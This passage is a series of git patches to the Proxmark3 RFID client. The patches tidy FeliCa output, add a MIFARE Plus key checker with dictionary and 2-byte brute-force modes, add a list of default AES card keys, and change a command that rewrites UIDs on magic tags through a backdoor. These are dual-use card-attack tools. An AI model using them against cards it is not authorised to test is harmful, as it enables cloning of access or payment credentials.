sprint_hex(reset_mode_response.status_flags.status_flag1, sizeof(reset_mode_response.status_flags.status_flag1))); - PrintAndLogEx(NORMAL, "Status Flag2: %s\n", sprint_hex(reset_mode_response.status_flags.status_flag2, sizeof(reset_mode_response.status_flags.status_flag2))); + PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(reset_mode_response.frame_response.IDm, sizeof(reset_mode_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(reset_mode_response.status_flags.status_flag1, sizeof(reset_mode_response.status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s\n", sprint_hex(reset_mode_response.status_flags.status_flag2, sizeof(reset_mode_response.status_flags.status_flag2))); } } return PM3_SUCCESS; @@ -912,8 +907,7 @@ static int CmdHFFelicaRequestSystemCode(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_request_system_code(); case 'i': @@ -943,18 +937,18 @@ static int CmdHFFelicaRequestSystemCode(const char *Cmd) { clear_and_send_command(flags, datalen, data, 0); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, 1)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { felica_syscode_response_t rq_syscode_response; memcpy(&rq_syscode_response, (felica_syscode_response_t *)resp.data.asBytes, sizeof(felica_syscode_response_t)); if (rq_syscode_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Request Response:"); - PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rq_syscode_response.frame_response.IDm, sizeof(rq_syscode_response.frame_response.IDm))); - PrintAndLogEx(NORMAL, " - Number of Systems: %s", sprint_hex(rq_syscode_response.number_of_systems, sizeof(rq_syscode_response.number_of_systems))); - PrintAndLogEx(NORMAL, " - System Codes: enumerated in ascending order starting from System 0."); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rq_syscode_response.frame_response.IDm, sizeof(rq_syscode_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, " - Number of Systems: %s", sprint_hex(rq_syscode_response.number_of_systems, sizeof(rq_syscode_response.number_of_systems))); + PrintAndLogEx(SUCCESS, " - System Codes: enumerated in ascending order starting from System 0."); for (uint8_t i = 0; i < rq_syscode_response.number_of_systems[0]; i++) { - PrintAndLogEx(NORMAL, " - %s", sprint_hex(rq_syscode_response.system_code_list + i * 2, sizeof(uint8_t) * 2)); + PrintAndLogEx(SUCCESS, " - %s", sprint_hex(rq_syscode_response.system_code_list + i * 2, sizeof(uint8_t) * 2)); } } } @@ -978,8 +972,7 @@ static int CmdHFFelicaRequestService(const char *Cmd) { strip_cmds(Cmd); while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_request_service(); case 'i': @@ -1051,7 +1044,8 @@ static int CmdHFFelicaRequestService(const char *Cmd) { } static int CmdHFFelicaNotImplementedYet(const char *Cmd) { - PrintAndLogEx(NORMAL, "Feature not implemented Yet!"); + PrintAndLogEx(INFO, "Feature not implemented yet."); + PrintAndLogEx(INFO, "Feel free to contribute!"); return PM3_SUCCESS; } @@ -1063,12 +1057,10 @@ static int CmdHFFelicaSniff(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'h': + switch (tolower(Cmd[i + 1])) { case 'H': return usage_hf_felica_sniff(); case 's': - case 'S': paramCount++; if (param_getlength(Cmd, paramCount) < 5) { samples2skip = param_get32ex(Cmd, paramCount++, 0, 10); @@ -1078,7 +1070,6 @@ static int CmdHFFelicaSniff(const char *Cmd) { } break; case 't': - case 'T': paramCount++; if (param_getlength(Cmd, paramCount) < 5) { triggers2skip = param_get32ex(Cmd, paramCount++, 0, 10); @@ -1124,7 +1115,7 @@ static int CmdHFFelicaSimLite(const char *Cmd) { } static void printSep() { - PrintAndLogEx(NORMAL, "------------------------------------------------------------------------------------"); + PrintAndLogEx(INFO, "------------------------------------------------------------------------------------"); } static uint16_t PrintFliteBlock(uint16_t tracepos, uint8_t *trace, uint16_t tracelen) { @@ -1360,8 +1351,7 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) { while (Cmd[i] != '\0') { if (Cmd[i] == ' ' || Cmd[i] == '\t') { i++; continue; } if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_raw(); case 'r': @@ -1405,7 +1395,7 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) { *buf = 0; if (++datalen >= sizeof(data)) { if (crc) - PrintAndLogEx(NORMAL, "Buffer is full, we can't add CRC to your data"); + PrintAndLogEx(WARNING, "Buffer is full, we can't add CRC to your data"); break; } } @@ -1439,12 +1429,12 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) { datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen; clearCommandBuffer(); - PrintAndLogEx(NORMAL, "Data: %s", sprint_hex(data, datalen)); + PrintAndLogEx(SUCCESS, "Data: %s", sprint_hex(data, datalen)); SendCommandMIX(CMD_HF_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen); if (reply) { if (active_select) { - PrintAndLogEx(NORMAL, "Active select wait for FeliCa."); + PrintAndLogEx(SUCCESS, "Active select wait for FeliCa."); PacketResponseNG resp_IDm; waitCmdFelica(1, &resp_IDm, 1); } @@ -1490,15 +1480,15 @@ int readFelicaUid(bool verbose) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, "FeliCa tag info"); - PrintAndLogEx(NORMAL, "IDm %s", sprint_hex(card.IDm, sizeof(card.IDm))); - PrintAndLogEx(NORMAL, " - CODE %s", sprint_hex(card.code, sizeof(card.code))); - PrintAndLogEx(NORMAL, " - NFCID2 %s", sprint_hex(card.uid, sizeof(card.uid))); + PrintAndLogEx(SUCCESS, "IDm %s", sprint_hex(card.IDm, sizeof(card.IDm))); + PrintAndLogEx(SUCCESS, " - CODE %s", sprint_hex(card.code, sizeof(card.code))); + PrintAndLogEx(SUCCESS, " - NFCID2 %s", sprint_hex(card.uid, sizeof(card.uid))); - PrintAndLogEx(NORMAL, "Parameter (PAD) | %s", sprint_hex(card.PMm, sizeof(card.PMm))); - PrintAndLogEx(NORMAL, " - IC CODE %s", sprint_hex(card.iccode, sizeof(card.iccode))); - PrintAndLogEx(NORMAL, " - MRT %s", sprint_hex(card.mrt, sizeof(card.mrt))); + PrintAndLogEx(SUCCESS, "Parameter (PAD) | %s", sprint_hex(card.PMm, sizeof(card.PMm))); + PrintAndLogEx(SUCCESS, " - IC CODE %s", sprint_hex(card.iccode, sizeof(card.iccode))); + PrintAndLogEx(SUCCESS, " - MRT %s", sprint_hex(card.mrt, sizeof(card.mrt))); - PrintAndLogEx(NORMAL, "SERVICE CODE %s", sprint_hex(card.servicecode, sizeof(card.servicecode))); + PrintAndLogEx(SUCCESS, "SERVICE CODE %s", sprint_hex(card.servicecode, sizeof(card.servicecode))); set_last_known_card(card); break; } From 94eb741a4fa8780bef14b4c9e7fa7027bf307b74 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sun, 1 Dec 2019 22:33:50 +0200 Subject: [PATCH 046/418] refactoring + make dictionary works --- client/cmdhfmfp.c | 8 ++++++-- client/fileutils.c | 12 ++++++------ client/util.c | 5 ++--- 3 files changed, 14 insertions(+), 11 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index 80419fa40..541847897 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -842,8 +842,10 @@ static int CmdHFMFPChk(const char *cmd) { // dictionary mode if (dict_filenamelen) { size_t endFilePosition = 0; - res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), &keyListLen, 16, NULL, 0, &endFilePosition); - printf("---endFilePosition %d", endFilePosition); + uint16_t keycnt = 0; + res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), NULL, 16, &keycnt, 0, &endFilePosition); + keyListLen = keycnt; + printf("---endFilePosition %d\n", endFilePosition); } if (keyListLen == 0) { @@ -870,6 +872,8 @@ static int CmdHFMFPChk(const char *cmd) { Fill2bPattern(keyList, &keyListLen, &startPattern); continue; } + if (dict_filenamelen) { + } break; } diff --git a/client/fileutils.c b/client/fileutils.c index a69de8d96..ebe29f0bd 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -785,10 +785,10 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale if (startFilePosition) fseek(f, startFilePosition, SEEK_SET); - + // read file - while (fgets(line, sizeof(line), f)) { - + while (!feof(f) && fgets(line, sizeof(line), f)) { + // add null terminator line[keylen] = 0; @@ -800,7 +800,7 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale if (line[0] == '#') continue; - if (CheckStringIsHEXValue(line)) + if (!CheckStringIsHEXValue(line)) continue; // cant store more data @@ -811,10 +811,10 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale *endFilePosition = pos; break; } - + if (hex_to_bytes(line, data + counter, keylen >> 1) != (keylen >> 1)) continue; - + vkeycnt++; memset(line, 0, sizeof(line)); counter += (keylen >> 1); diff --git a/client/util.c b/client/util.c index c65f281fe..887f52857 100644 --- a/client/util.c +++ b/client/util.c @@ -395,7 +395,7 @@ void print_blocks(uint32_t *data, size_t len) { } int hex_to_bytes(const char *hexValue, uint8_t *bytesValue, size_t maxBytesValueLen) { - char buf[3]; + char buf[4] = {0}; int indx = 0; int bytesValueLen = 0; while (hexValue[indx]) { @@ -405,7 +405,6 @@ int hex_to_bytes(const char *hexValue, uint8_t *bytesValue, size_t maxBytesValue } if (isxdigit(hexValue[indx])) { - buf[strlen(buf) + 1] = 0x00; buf[strlen(buf)] = hexValue[indx]; } else { // if we have symbols other than spaces and hex @@ -421,7 +420,7 @@ int hex_to_bytes(const char *hexValue, uint8_t *bytesValue, size_t maxBytesValue uint32_t temp = 0; sscanf(buf, "%x", &temp); bytesValue[bytesValueLen] = (uint8_t)(temp & 0xff); - buf[0] = 0; + memset(buf, 0, sizeof(buf)); bytesValueLen++; } From 2dfbe151b9e6511d627c895107308f7612f5f9bc Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sun, 1 Dec 2019 23:21:00 +0200 Subject: [PATCH 047/418] hf mfp check: dictionary works, verbose mode works --- client/cmdhfmfp.c | 49 +++++++++++++++++++----- client/dictionaries/mfp_default_keys.dic | 27 +++++++++++++ client/fileutils.c | 22 +++++++---- client/fileutils.h | 3 +- 4 files changed, 82 insertions(+), 19 deletions(-) create mode 100644 client/dictionaries/mfp_default_keys.dic diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index 541847897..a616fcc00 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -643,7 +643,8 @@ static int CmdHFMFPWrbl(const char *cmd) { #define MAX_KEYS_LIST_LEN 1024 int MFPKeyCheck(uint8_t startSector, uint8_t endSector, uint8_t startKeyAB, uint8_t endKeyAB, - uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t keyListLen, uint8_t foundKeys[2][64][AES_KEY_LEN + 1]) { + uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t keyListLen, uint8_t foundKeys[2][64][AES_KEY_LEN + 1], + bool verbose) { int res; bool selectCard = true; uint8_t keyn[2] = {0}; @@ -655,6 +656,8 @@ static int CmdHFMFPWrbl(const char *cmd) { // main cycle with key check for (int i = 0; i < keyListLen; i++) { if (i % 10 == 0) { + if (!verbose) + printf("."); if (kbd_enter_pressed()) { PrintAndLogEx(WARNING, "\nAborted via keyboard!\n"); DropField(); @@ -671,18 +674,25 @@ static int CmdHFMFPWrbl(const char *cmd) { if (res != 2) break; - printf("retried[%d]...\n", retry); + if (verbose) + PrintAndLogEx(WARNING, "retried[%d]...", retry); + else + printf("R"); DropField(); selectCard = true; msleep(100); } - PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(keyList[i], 16), res); + if (verbose) + PrintAndLogEx(WARNING, "sector %02d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(keyList[i], 16), res); // key for [sector,keyAB] found if (res == 0) { - PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(keyList[i], 16)); + if (verbose) + PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(keyList[i], 16)); + else + printf("+"); foundKeys[keyAB][sector][0] = 0x01; memcpy(&foundKeys[keyAB][sector][1], keyList[i], AES_KEY_LEN); DropField(); @@ -693,6 +703,10 @@ static int CmdHFMFPWrbl(const char *cmd) { // 5 - auth error (rnd not equal) if (res != 5) { + if (verbose) + PrintAndLogEx(ERR, "Exchange error. Aborted."); + else + printf("E"); DropField(); return PM3_ECARDEXCHANGE; } @@ -744,6 +758,7 @@ static int CmdHFMFPChk(const char *cmd) { arg_lit0(NULL, "pattern2b", "check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)"), arg_str0(NULL, "startp2b", "", "Start key (2-byte HEX) for 2-byte search (use with `--pattern2b`)"), arg_str0("jJ", "json", "", "json file to save keys"), + arg_lit0("vV", "verbose", "verbose mode."), arg_param_end }; CLIExecWithReturn(cmd, argtable, true); @@ -815,6 +830,8 @@ static int CmdHFMFPChk(const char *cmd) { } jsonname[jsonnamelen] = 0; + bool verbose = arg_get_lit(11); + CLIParserFree(); uint8_t startKeyAB = 0; @@ -840,12 +857,13 @@ static int CmdHFMFPChk(const char *cmd) { Fill2bPattern(keyList, &keyListLen, &startPattern); // dictionary mode + size_t endFilePosition = 0; if (dict_filenamelen) { - size_t endFilePosition = 0; uint16_t keycnt = 0; - res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), NULL, 16, &keycnt, 0, &endFilePosition); + res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), NULL, 16, &keycnt, 0, &endFilePosition, true); keyListLen = keycnt; - printf("---endFilePosition %d\n", endFilePosition); + if (endFilePosition) + PrintAndLogEx(SUCCESS, "First part of dictionary successfully loaded."); } if (keyListLen == 0) { @@ -862,20 +880,31 @@ static int CmdHFMFPChk(const char *cmd) { return PM3_EINVARG; } + if (!verbose) + printf("Search keys:"); while (true) { - res = MFPKeyCheck(startSector, endSector, startKeyAB, endKeyAB, keyList, keyListLen, foundKeys); - printf("--- res: %d\n", res); + res = MFPKeyCheck(startSector, endSector, startKeyAB, endKeyAB, keyList, keyListLen, foundKeys, verbose); if (res == PM3_EOPABORTED) break; if (pattern2b && startPattern < 0x10000) { + if (!verbose) + printf("p"); keyListLen = 0; Fill2bPattern(keyList, &keyListLen, &startPattern); continue; } - if (dict_filenamelen) { + if (dict_filenamelen && endFilePosition) { + if (!verbose) + printf("d"); + uint16_t keycnt = 0; + res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), NULL, 16, &keycnt, endFilePosition, &endFilePosition, false); + keyListLen = keycnt; + continue; } break; } + if (!verbose) + printf("\n"); // print result bool printedHeader = false; diff --git a/client/dictionaries/mfp_default_keys.dic b/client/dictionaries/mfp_default_keys.dic new file mode 100644 index 000000000..0f20b69bf --- /dev/null +++ b/client/dictionaries/mfp_default_keys.dic @@ -0,0 +1,27 @@ +ffffffffffffffffffffffffffffffff +00000000000000000000000000000000 +a0a1a2a3a4a5a6a7a0a1a2a3a4a5a6a7 +b0b1b2b3b4b5b6b7b0b1b2b3b4b5b6b7 +d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7 +11111111111111111111111111111111 +22222222222222222222222222222222 +33333333333333333333333333333333 +44444444444444444444444444444444 +55555555555555555555555555555555 +66666666666666666666666666666666 +77777777777777777777777777777777 +88888888888888888888888888888888 +99999999999999999999999999999999 +aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb +cccccccccccccccccccccccccccccccc +dddddddddddddddddddddddddddddddd +eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee +000102030405060708090a0b0c0d0e0f +0102030405060708090a0b0c0d0e0f10 +00010203040506070809101112131415 +01020304050607080910111213141516 +16151413121110090807060504030201 +15141312111009080706050403020100 +0f0e0d0c0b0a09080706050403020100 +100f0e0d0c0b0a090807060504030201 diff --git a/client/fileutils.c b/client/fileutils.c index ebe29f0bd..624c0259d 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -754,11 +754,11 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u keylen = 6; } - return loadFileDICTIONARYEx(preferredName, data, 0, datalen, keylen, keycnt, 0, NULL); + return loadFileDICTIONARYEx(preferredName, data, 0, datalen, keylen, keycnt, 0, NULL, true); } int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, - size_t startFilePosition, size_t *endFilePosition) { + size_t startFilePosition, size_t *endFilePosition, bool verbose) { if (endFilePosition) *endFilePosition = 0; if (data == NULL) return PM3_EINVARG; @@ -787,7 +787,13 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale fseek(f, startFilePosition, SEEK_SET); // read file - while (!feof(f) && fgets(line, sizeof(line), f)) { + while (!feof(f)) { + size_t filepos = ftell(f); + if (!fgets(line, sizeof(line), f)) { + if (endFilePosition) + *endFilePosition = 0; + break; + } // add null terminator line[keylen] = 0; @@ -804,11 +810,10 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale continue; // cant store more data - if (maxdatalen && (counter + keylen > maxdatalen)) { + if (maxdatalen && (counter + (keylen >> 1) > maxdatalen)) { retval = 1; - int pos = ftell(f) - strlen(line) - 2; // 2 - `\r\n` - if (endFilePosition && (pos > 0)) - *endFilePosition = pos; + if (endFilePosition) + *endFilePosition = filepos; break; } @@ -820,7 +825,8 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale counter += (keylen >> 1); } fclose(f); - PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%2d") "keys from dictionary file " _YELLOW_("%s"), vkeycnt, path); + if (verbose) + PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%2d") "keys from dictionary file " _YELLOW_("%s"), vkeycnt, path); if (datalen) *datalen = counter; diff --git a/client/fileutils.h b/client/fileutils.h index 612c9fee6..c9de3b4fb 100644 --- a/client/fileutils.h +++ b/client/fileutils.h @@ -196,10 +196,11 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u * @param keycnt key count that lays in data. may be NULL * @param startFilePosition start position in dictionary file. used for big dictionaries. * @param endFilePosition in case we have keys in file and maxdatalen reached it returns current key position in file. may be NULL + * @param verbose print messages if true * @return 0 for ok, 1 for failz */ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, - size_t startFilePosition, size_t *endFilePosition); + size_t startFilePosition, size_t *endFilePosition, bool verbose); /** * @brief Utility function to load data safely from a DICTIONARY textfile. This method takes a preferred name. From bc27b0e910790be0ffe78f36200c3c1a1bf820b7 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sun, 1 Dec 2019 23:36:34 +0200 Subject: [PATCH 048/418] add some help --- client/cmdhfmfp.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index a616fcc00..9187c5ce7 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -741,10 +741,14 @@ static int CmdHFMFPChk(const char *cmd) { size_t keyListLen = 0; uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {0}; - CLIParserInit("hf mfp check", + CLIParserInit("hf mfp chk", "Checks keys with Mifare Plus card.", - "Usage:\n\thf mfp check -k 000102030405060708090a0b0c0d0e0f -> check key on sector 0 as key A and B\n" - "\thf mfp check -s 2 -a -> check default key list on sector 2, key A\n"); + "Usage:\n" + " hf mfp chk -k 000102030405060708090a0b0c0d0e0f -> check key on sector 0 as key A and B\n" + " hf mfp chk -s 2 -a -> check default key list on sector 2, key A\n" + " hf mfp chk -d mfp_default_keys -s0 -e6 -> check keys from dictionary against sectors 0-6\n" + " hf mfp chk --pattern1b -j keys -> check all 1-byte keys pattern and save found keys to json\n" + " hf mfp chk --pattern2b --startp2b FA00 -> check all 2-byte keys pattern. Start from key FA00FA00...FA00\n"); void *argtable[] = { arg_param_begin, From 256782402eaf3792a0592de167804a090f69d348 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sun, 1 Dec 2019 23:39:41 +0200 Subject: [PATCH 049/418] fix linux make errors --- client/cmdhfmfp.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index 9187c5ce7..3081f77f4 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -780,7 +780,7 @@ static int CmdHFMFPChk(const char *cmd) { memcpy(&keyList[keyListLen], vkey, 16); keyListLen++; } else { - PrintAndLogEx(ERROR, "Specified key must have 16 bytes length."); + PrintAndLogEx(ERR, "Specified key must have 16 bytes length."); CLIParserFree(); return PM3_EINVARG; } @@ -798,13 +798,13 @@ static int CmdHFMFPChk(const char *cmd) { bool pattern2b = arg_get_lit(8); if (pattern1b && pattern2b) { - PrintAndLogEx(ERROR, "Pattern search mode must be 2-byte or 1-byte only."); + PrintAndLogEx(ERR, "Pattern search mode must be 2-byte or 1-byte only."); CLIParserFree(); return PM3_EINVARG; } if (dict_filenamelen && (pattern1b || pattern2b)) { - PrintAndLogEx(ERROR, "Pattern search mode and dictionary mode can't be used in one command."); + PrintAndLogEx(ERR, "Pattern search mode and dictionary mode can't be used in one command."); CLIParserFree(); return PM3_EINVARG; } @@ -817,7 +817,7 @@ static int CmdHFMFPChk(const char *cmd) { if (vpatternlen > 0 && vpatternlen <= 2) { startPattern = (vpattern[0] << 8) + vpattern[1]; } else { - PrintAndLogEx(ERROR, "Pattern must be 2-byte length."); + PrintAndLogEx(ERR, "Pattern must be 2-byte length."); CLIParserFree(); return PM3_EINVARG; } @@ -828,7 +828,7 @@ static int CmdHFMFPChk(const char *cmd) { uint8_t jsonname[250] = {0}; int jsonnamelen = 0; if (CLIParamStrToBuf(arg_get_str(10), jsonname, sizeof(jsonname), &jsonnamelen)) { - PrintAndLogEx(ERROR, "Invalid json name."); + PrintAndLogEx(ERR, "Invalid json name."); CLIParserFree(); return PM3_EINVARG; } @@ -880,7 +880,7 @@ static int CmdHFMFPChk(const char *cmd) { } if (keyListLen == 0) { - PrintAndLogEx(ERROR, "Key list is empty. Nothing to check."); + PrintAndLogEx(ERR, "Key list is empty. Nothing to check."); return PM3_EINVARG; } From 8132de9b4fe29b97020eb72b7f3cf6cef73aa32c Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sun, 1 Dec 2019 23:43:47 +0200 Subject: [PATCH 050/418] fix braces --- client/cmdhfmfp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index 3081f77f4..2c0fc56eb 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -737,9 +737,9 @@ void Fill2bPattern(uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t *keyL static int CmdHFMFPChk(const char *cmd) { int res; - uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {0}; + uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {{0}}; size_t keyListLen = 0; - uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {0}; + uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {{{0}}}; CLIParserInit("hf mfp chk", "Checks keys with Mifare Plus card.", From a0f0345169f6dd8fa681ae5f2716ab079960306e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 2 Dec 2019 10:20:07 +0100 Subject: [PATCH 051/418] fix travis --- client/fileutils.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/client/fileutils.c b/client/fileutils.c index 624c0259d..d82c00a48 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -354,17 +354,16 @@ int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, s case jsfT5555: case jsfMfPlusKeys: JsonSaveStr(root, "FileType", "mfp"); - JsonSaveBufAsHexCompact(root, "$.Card.UID", &data[0], 7); JsonSaveBufAsHexCompact(root, "$.Card.SAK", &data[10], 1); JsonSaveBufAsHexCompact(root, "$.Card.ATQA", &data[11], 2); uint8_t atslen = data[13]; if (atslen > 0) JsonSaveBufAsHexCompact(root, "$.Card.ATS", &data[14], atslen); - - uint8_t vdata[2][64][16 + 1] = {0}; + + uint8_t vdata[2][64][16 + 1] = {{{0}}}; memcpy(vdata, &data[14 + atslen], 2 * 64 * 17); - + for (size_t i = 0; i < datalen; i++) { char path[PATH_MAX_LENGTH] = {0}; @@ -379,7 +378,6 @@ int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, s sprintf(path, "$.SectorKeys.%d.KeyB", mfSectorNum(i)); JsonSaveBufAsHexCompact(root, path, &vdata[1][i][1], 16); } - } break; default: From 56c4343081372141e46e05472f9f242f043f650e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 2 Dec 2019 10:21:32 +0100 Subject: [PATCH 052/418] chg: hf 15 csetuid - verify uid is the same after writting --- client/cmdhf15.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/client/cmdhf15.c b/client/cmdhf15.c index 25fc00264..13bc02fa8 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -1701,14 +1701,15 @@ static int CmdHF15CSetUID(const char *Cmd) { return PM3_EINVARG; } - PrintAndLogEx(SUCCESS, "new UID | %s", sprint_hex(uid, sizeof(uid))); - PrintAndLogEx(INFO, "Using backdoor Magic tag function"); + PrintAndLogEx(SUCCESS, "Input new UID | %s", sprint_hex(uid, sizeof(uid))); if (!getUID(oldUid)) { - PrintAndLogEx(FAILED, "Can't get old UID."); + PrintAndLogEx(FAILED, "Can't get old/current UID."); return PM3_ESOFT; } + PrintAndLogEx(INFO, "Using backdoor magic tag function"); + // Command 1 : 02213E00000000 data[0][0] = 0x02; data[0][1] = 0x21; @@ -1767,11 +1768,14 @@ static int CmdHF15CSetUID(const char *Cmd) { return PM3_ESOFT; } - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "old UID : %02X %02X %02X %02X %02X %02X %02X %02X", oldUid[7], oldUid[6], oldUid[5], oldUid[4], oldUid[3], oldUid[2], oldUid[1], oldUid[0]); - PrintAndLogEx(SUCCESS, "new UID : %02X %02X %02X %02X %02X %02X %02X %02X", newUid[7], newUid[6], newUid[5], newUid[4], newUid[3], newUid[2], newUid[1], newUid[0]); - - return PM3_SUCCESS; + if (memcmp(newUid, uid, 8) != 0) { + PrintAndLogEx(FAILED, "Setting UID on tag failed."); + return PM3_ESOFT; + } else { + PrintAndLogEx(SUCCESS, "old UID : %02X %02X %02X %02X %02X %02X %02X %02X", oldUid[7], oldUid[6], oldUid[5], oldUid[4], oldUid[3], oldUid[2], oldUid[1], oldUid[0]); + PrintAndLogEx(SUCCESS, "new UID : %02X %02X %02X %02X %02X %02X %02X %02X", newUid[7], newUid[6], newUid[5], newUid[4], newUid[3], newUid[2], newUid[1], newUid[0]); + return PM3_SUCCESS; + } } static command_t CommandTable[] = { From 535298820bf2e821eb6702af1bf7bf7bb14a8aad Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 2 Dec 2019 11:40:22 +0100 Subject: [PATCH 053/418] chg: return codes etc --- client/cmdhfmfu.c | 64 +++++++++++++++++++++++------------------------ 1 file changed, 32 insertions(+), 32 deletions(-) diff --git a/client/cmdhfmfu.c b/client/cmdhfmfu.c index d7bdce1fc..7d2b8cfc6 100644 --- a/client/cmdhfmfu.c +++ b/client/cmdhfmfu.c @@ -445,7 +445,7 @@ static int ul_ev1_pwdgen_selftest() { uint8_t uid4[] = {0x04, 0xC5, 0xDF, 0x4A, 0x6D, 0x51, 0x80}; uint32_t pwd4 = ul_ev1_pwdgenD(uid4); PrintAndLogEx(NORMAL, "UID | %s | %08X | %s", sprint_hex(uid4, 7), pwd4, (pwd4 == 0x72B1EC61) ? "OK" : "->72B1EC61<--"); - return 0; + return PM3_SUCCESS; } //------------------------------------ @@ -565,7 +565,7 @@ static int ulc_requestAuthentication(uint8_t *nonce, uint16_t nonceLength) { static int ulc_authentication(uint8_t *key, bool switch_off_field) { clearCommandBuffer(); - SendCommandOLD(CMD_HF_MIFAREUC_AUTH, switch_off_field, 0, 0, key, 16); + SendCommandMIX(CMD_HF_MIFAREUC_AUTH, switch_off_field, 0, 0, key, 16); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) return 0; if (resp.oldarg[0] == 1) return 1; @@ -2262,7 +2262,7 @@ static int 